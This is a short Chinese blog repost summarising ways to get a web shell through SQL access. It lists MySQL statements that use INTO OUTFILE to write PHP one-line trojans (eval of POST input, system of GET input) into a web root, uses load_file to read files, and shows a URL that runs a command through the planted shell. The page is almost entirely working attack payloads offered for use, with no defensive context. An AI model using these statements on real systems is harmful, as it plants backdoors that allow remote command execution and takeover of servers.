SQL 注入自我总结

最新推荐文章于 2025-08-22 22:06:21 发布

weixin_33922670

最新推荐文章于 2025-08-22 22:06:21 发布

阅读量78

点赞数

CC 4.0 BY-SA版权

文章标签： php python shell

原文链接：https://my.oschina.net/richardx/blog/54564

本文介绍了通过SQL注入获取WebShell的几种方法,包括利用创建表及插入文件等手段实现远程代码执行,并展示了如何使用SQL查询直接导出用于执行远程命令的一句话木马。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

2019独角兽企业重金招聘Python工程师标准>>>

早先是看过JHACKJ后台拿shell的方法：

Create TABLE st4dy (cmd text NOT NULL);
Insert INTO st4dy (cmd) VALUES('<?php eval($_POST[cmd])?>');
select cmd from study into outfile 'E:/wamp/www/7.php';

Drop TABLE IF EXISTS study;

Create TABLE `wangzi` (`wangzi` TEXT NOT NULL) TYPE = MYISAM; Insert INTO `wangzi` ( `wangzi` ) VALUES ('<?php @system($_GET[cmd]);?>');
Select `wangzi` FROM `wangzi` INTO OUTFILE 'C:/xampp/htdocs/xampp/cmd.php'; Drop TABLE `wangzi`;
--------------------------------------------------------------------------

而后在国外论坛上看到一老外的方法更简单：

1：select load_file('E:/xamp/www/st4dy.php');

2：select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'E:/xamp/www/st4dy.php'
然后访问网站目录： http://localhost/st4dy.php?cmd=dir

3：写一句话： select '<?php @eval($_POST[cmd])?>'INTO OUTFILE 'E:/xamp/www/st4dy.php'

第三个是直接在SQL查询里导出一句话，必须要先知道网站的路

转载于:https://my.oschina.net/richardx/blog/54564